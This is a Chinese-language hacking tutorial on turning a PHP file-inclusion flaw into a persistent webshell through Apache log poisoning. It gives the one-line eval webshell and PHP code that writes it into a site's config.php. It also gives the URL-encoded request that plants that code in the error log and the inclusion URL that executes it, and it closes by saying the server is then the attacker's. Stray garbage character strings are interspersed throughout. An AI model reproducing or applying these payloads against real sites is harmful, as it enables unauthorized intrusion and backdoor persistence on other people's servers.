php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
4 y( u( B, G" p
" W! g& O2 Y: \. {- h$ M2 x到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
) x2 I2 t9 F+ o% l2 l$ o: @
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
% `4 N3 w: O' Y3 ~  xfclose($fp);?>   //在config.php里写入一句木马语句
5 o" R# e* X# I4 l, J7 Z
" q6 C: {& s3 R/ E% d2 N$ ]" q我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
' x# Q7 ~1 ?' f%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
/ ^! z& N$ E- l9 z0 wfclose%28%24fp%29%3B%3F%3E
; g& p; O+ o4 Y& B我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
! Z* J2 Y7 A2 n%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
$ U* m" I' A  s* bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
- T8 i, O& m+ O, H
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
; y5 N( v. b3 n2 z# M8 _
% v; H: Q7 ?' T这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
( U% a: ~+ n) {' V: uhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

其他的日志路径，你可以去猜，也可以参照这里。
